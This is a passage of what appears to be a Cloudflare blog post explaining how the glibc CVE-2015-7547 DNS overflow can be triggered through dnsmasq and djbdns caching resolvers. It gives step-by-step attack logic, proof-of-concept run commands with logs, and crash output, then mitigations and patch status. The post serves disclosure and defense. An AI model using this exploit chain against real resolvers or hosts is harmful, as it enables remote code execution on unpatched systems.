    <p>Unfortunately, no. A local stub resolver such as <a href="http://www.thekelleys.org.uk/dnsmasq/doc.html">dnsmasq</a> alone is not sufficient to defuse this attack. It's easy to traverse, as it doesn't scrub upstream answers—let's see if the attack goes through with a <a href="https://gist.github.com/vavrusa/86efa3ac7ee89eab14c2#file-poc-dnsmasq-py">modified proof of concept</a> that uses only well-formed answers and zero time-to-live (TTL) for cache traversal.</p>
            <pre><code>$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ sudo dnsmasq -d -a 127.0.0.1 -R -S 127.0.0.10 -z &amp;
$ sudo python poc-dnsmasq.py &amp;
$ valgrind curl http://foo.bar.google.com
==20866== Invalid read of size 1
==20866==    at 0x8617C55: __libc_res_nquery (res_query.c:264)
==20866==    by 0x861820F: __libc_res_nquerydomain (res_query.c:591)
==20866==    by 0x86187A8: __libc_res_nsearch (res_query.c:381)
==20866==    by 0xA0C6AAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==20866==    by 0x1C000CC04D4D4D4C: ???
Killed</code></pre>
            <p>The big question is—now that we've seen that the mitigation strategies for MitM attacks are provably ineffective, can we exploit the flaw off-path through a caching DNS resolver?</p>
    <div>
      <h3>An off-path attack scenario</h3>
      <a href="#an-off-path-attack-scenario">
        
      </a>
    </div>
    <p>Let's start with the first phase of the attack—a compliant resolver is never going to give out a response larger than 512 bytes over UDP to a client that doesn't support EDNS0. Since the glibc resolver doesn't do that by default, we have to escalate to TCP and perform the whole attack there. Also, the client should have at least two nameservers, otherwise it complicates a successful attack.</p>
            <pre><code>$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ echo "nameserver 127.0.0.1" | sudo tee -a /etc/resolv.conf
$ sudo iptables -F INPUT
$ sudo iptables -I INPUT -p udp --sport 53 -m length --length 2077:65535 -j DROP</code></pre>
            <p>Let's try it with a <a href="https://gist.github.com/vavrusa/86efa3ac7ee89eab14c2#file-poc-tcponly-py">proof of concept</a> that merges both the DNS proxy and the attacker.</p><ol><li><p>The DNS proxy on localhost is going to ask the attacker both queries over UDP, and the attacker responds with a TC flag to force client to retry over TCP.</p></li><li><p>The attacker responds once with a TCP response of 2049 bytes or longer, then forces the proxy to close the TCP connection to glibc resolver code. <i>This is a critical step with no reliable way to achieve that.</i></p></li><li><p>The attacker sends back a full attack payload, which the proxy happily forwards to the glibc resolver client.</p></li></ol>
            <pre><code>$ sudo python poc-tcponly.py &amp;
$ valgrind curl http://foo.bar.google.com
==18497== Invalid read of size 1
==18497==    at 0x59F9C55: __libc_res_nquery (res_query.c:264)
==18497==    by 0x59FA20F: __libc_res_nquerydomain (res_query.c:591)
==18497==    by 0x59FA7A8: __libc_res_nsearch (res_query.c:381)
==18497==    by 0x57EEAAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==18497==    by 0x1C000CC04D4D4D4C: ???
==18497==  Address 0x1000000000000103 is not stack'd, malloc'd or (recently) free'd
Killed</code></pre>
            
    <div>
      <h3>Performing the attack over a real resolver</h3>
      <a href="#performing-the-attack-over-a-real-resolver">
        
      </a>
    </div>
    <p>The key factor to a real world non-MitM cache resolver attack is to control the messages between the resolver and the client indirectly. We came to the conclusion that djbdns’ dnscache was the best target for attempting to illustrate an actual cache traversal.</p><p>In order to fend off DoS attack vectors like <a href="https://en.wikipedia.org/wiki/Slowloris_(computer_security)">slowloris</a>, which makes numerous simultaneous TCP connections and holds them open to clog up a service, DNS resolvers have a finite pool of parallel TCP connections. This is usually achieved by limiting these parallel TCP connections and closing the oldest or least-recently active one. For example—djbdns (dnscache) holds up to 20 parallel TCP connections, then starts dropping them, starting from the oldest one. Knowing this, we realised that we were able to terminate TCP connections with ease. Thus, one security fix becomes another bug’s treasure.</p><p>In order to exploit this, the attacker can send a truncated UDP A+AAAA query, which triggers the necessary retry over TCP. The attacker responds with a valid answer with a TTL of 0 and dnscache sends the glibc client a truncated UDP response. At this point, the glibc function <code>send_vc()</code> retries with dnscache over TCP and since the previous answer's TTL was 0, dnscache asks the attacker’s server for the A+AAAA query again. The attacker responds to the A query with an answer larger than 2000 to induce glibc's buffer mismanagement, and dnscache then forwards it to the client. Now the attacker can either wait out the AAAA query while other clients are making perfectly legitimate requests or instead make 20 TCP connections back to dnscache, until dnscache terminates the attacker's connection.</p><p>Now that we’ve met all the conditions to trigger another retry, the attacker sends back any valid A response and a valid, oversized AAAA that carries the payload (either in CNAME or AAAA RDATA), dnscache tosses this back to the client, triggering the overflow.</p><p>It seems like a complicated process, but it really is not. Let’s have a look at our <a href="https://gist.github.com/vavrusa/689b48d2d6c16759fc85">proof-of-concept</a>:</p>
            <pre><code>$ echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
$ echo "nameserver 127.0.0.1" | sudo tee -a /etc/resolv.conf
$ sudo python poc-dnscache.py
[TCP] Sending back first big answer with TTL=0
[TCP] Sending back second big answer with TTL=0
[TCP] Preparing the attack with an answer &gt;2k
[TCP] Connecting back to caller to force it close original connection('127.0.0.1', 53)
[TCP] Original connection was terminated, expecting to see requery...
[TCP] Sending back a valid answer in A
[TCP] Sending back attack payload in AAAA</code></pre>
            <p>Client:</p>
            <pre><code>$ valgrind curl https://www.cloudflare.com/
==6025== Process terminating with default action of signal 11 (SIGSEGV)
==6025==  General Protection Fault
==6025==    at 0x8617C55: __libc_res_nquery (res_query.c:264)
==6025==    by 0x861820F: __libc_res_nquerydomain (res_query.c:591)
==6025==    by 0x86187A8: __libc_res_nsearch (res_query.c:381)
==6025==    by 0xA0C6AAA: _nss_dns_gethostbyname4_r (dns-host.c:315)
==6025==    by 0x1C000CC04D4D4D4C: ???
Killed</code></pre>
            <p>This PoC was made to simply illustrate that it’s not only probable, but possible that a <a href="https://www.cloudflare.com/learning/security/what-is-remote-code-execution/">remote code execution</a> via DNS resolver cache traversal can and may be happening. So, patch. Now.</p><p>We reached out to <a href="https://www.opendns.com">OpenDNS</a>, knowing they had used djbdns as part of their codebase. They investigated and verified this particular attack does not affect their resolvers.</p>
    <div>
      <h4>How accidental defenses saved the day</h4>
      <a href="#how-accidental-defenses-saved-the-day">
        
      </a>
    </div>
    <p>Dan Kaminsky wrote <a href="http://dankaminsky.com/2016/02/20/skeleton/">a thoughtful blog post</a> about scoping this issue. He argues:</p><blockquote><p>I’m just going to state outright: Nobody has gotten this glibc flaw to workthrough caches yet. So we just don’t know if that’s possible. Actualexploit chains are subject to what I call the MacGyver effect.</p></blockquote><p>Current resolvers scrub and sanitize final answers, so the attack payload must be encoded in a well-formed DNS answer to survive a pass through the resolver. In addition, only some record types are safely left intact—as the attack payload is carried in AAAA query, only AAAA records in the answer section are safe from being scrubbed, thus forcing the attacker to encode the payload in these. One way to circumvent this limitation is to use a CNAME record, where the attack payload may be encoded in a CNAME target (maximum of 255 octets).</p><p>The only good mitigation is to run a DNS resolver on <i>localhost</i> where the attacker can't introduce resource exhaustion, or at least enforce minimum cache TTL to defuse the waiting game attack.</p>
    <div>
      <h3>Takeaway</h3>
      <a href="#takeaway">
        
      </a>
    </div>
    <p>You might think it's unlikely that you could become a MitM target, but the fact is that you <i>already are</i>. If you ever used a public Wi-Fi in an airport, hotel or maybe in a café, you may have noticed being redirected to a captcha portal for authentication purposes. This is a temporary <a href="https://www.cloudflare.com/learning/security/global-dns-hijacking-threat/">DNS hijacking</a> redirecting you to an internal portal until you agree with the terms and conditions. What's even worse is a permanent DNS interception that you don't notice until you look at the actual answers. This happens on a daily basis and takes only a single name lookup to trigger the flaw.</p><p>Neither DNSSEC nor independent public resolvers prevent it, as the attack happens between stub and the recursor on the <i>last mile</i>. The recent flaws highlight the fragility of not only legacy glibc code, but also stubs <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3484">in general</a>. DNS is deceptively complicated protocol and should be treated carefully. A generally good mitigation is to shield yourself with a local caching DNS resolver<a href="#resolvers"><sup>1</sup></a>, or at least a <a href="https://dnscrypt.org">DNSCrypt</a> tunnel. Arguably, there might be a vulnerability in the resolver as well, but it is contained to the daemon itself—not to everything using the C library (e.g., sudo).</p>
    <div>
      <h3>Are you affected?</h3>
      <a href="#are-you-affected">
        
      </a>
    </div>
    <p>If you're running GNU libc between 2.9 and 2.22 then yes. Below is an informative list of several major platforms affected.</p><p>Platform</p><p>Notice</p><p>Status</p><p>Debian</p><p><a href="https://security-tracker.debian.org/tracker/CVE-2015-7547">CVE-2015-7547</a></p><p>Patched packages available (squeeze and newer)</p><p>Ubuntu</p><p><a href="http://www.ubuntu.com/usn/usn-2900-1/">USN-2900-1</a></p><p>Patched packages available (14.04 and newer)</p><p>RHEL</p><p><a href="https://access.redhat.com/articles/2161461">KB2161461</a></p><p>Patched packages available (RHEL 6-7)</p><p>SUSE</p><p><a href="https://www.suse.com/support/update/announcement/2016/suse-su-20160472-1.html">SUSE-SU-2016:0472-1</a></p><p>Patched packages available (latest)</p><p>Network devices &amp; CPEs</p><p><a href="https://www.reddit.com/r/networking/comments/46jfjf/cve20157547_mega_thread/">Updated list of affected platforms</a></p><p>The toughest problem with this issue is the long tail of custom CPEs and IoT devices, which can't be really enumerated. Consult the manufacturer's website for vulnerability disclosure. Keep in mind that if your CPE is affected by remote code execution, its network cannot be treated as safe anymore.</p><p>If you're running OS X, iOS, Android or any BSD flavour<a href="#bsd-affected"><sup>2</sup></a>, you're not affected.</p><ul><li><p>[1] Take a look at <a href="https://www.unbound.net">Unbound</a>, <a href="https://www.powerdns.com/recursor.html">PowerDNS Recursor</a> or <a href="https://www.knot-resolver.cz">Knot DNS Resolver</a> for a compliant validating resolver.</p></li><li><p>[2] Applications running under Linux emulation and using glibc may be affected, make sure to update ports.</p></li></ul><p></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[OpenDNS]]></category>
            <category><![CDATA[DNS]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[Programming]]></category>
            <guid isPermaLink="false">1lupmQh30nM3wtSJrCOh95</guid>
            <dc:creator>Marek Vavruša</dc:creator>
            <dc:creator>Jaime Cochran</dc:creator>
        </item>
    </channel>
</rss>